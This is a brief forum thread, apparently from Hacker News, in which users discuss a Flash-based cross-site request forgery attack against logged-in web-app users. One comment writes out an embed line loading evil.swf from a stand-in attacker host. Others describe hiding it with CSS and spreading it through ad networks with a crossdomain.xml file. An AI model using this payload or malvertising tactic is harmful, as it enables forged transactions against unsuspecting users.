3 ms·
The user would first have to go to the attacker.com phishing site though right? It sounds like it makes phishing scams a lot easier. (thanks for the explanati
by Yansky 16y ago
The user would first have to go to the attacker.com phishing site though right?
It sounds like it makes phishing scams a lot easier.
(thanks for the explanation btw)
- mbreese 16y agoMy reading is that it's not necessarily phishing because they wouldn't need to ask the user for any information. All that would be required is for the user to be signed into the targeted webapp. It could be totally automated. But, since the attacker doesn't get the response, they couldn't necessarily do anything with that. That doesn't make this any less dangerous, as in the bank example, you don't necessarily need to see that your transfer was successful in order to get the money.
- nbpoole 16y ago<embed src="http://attacker.com/evil.swf></embed> is all that you need to execute this attack in your browser. An attacker can hide the applet via CSS and put it on a legitimate looking page. All the target needs to do is be logged in.
- scommab 16y agoIf you want to be super evil about it you could also embed the evil POSTing code in a swf that looks like an unevil ad and then let an unsuspecting ad network distribute it for you. Edit: grammar.
- nbpoole 16y agoCorrect. Put it up using Google Adwords or a similar network, make sure attacker.com has a proper crossdomain.xml file (because the SWF won't be served from attacker.com), and you have a working exploit that can be deployed all over the Internet.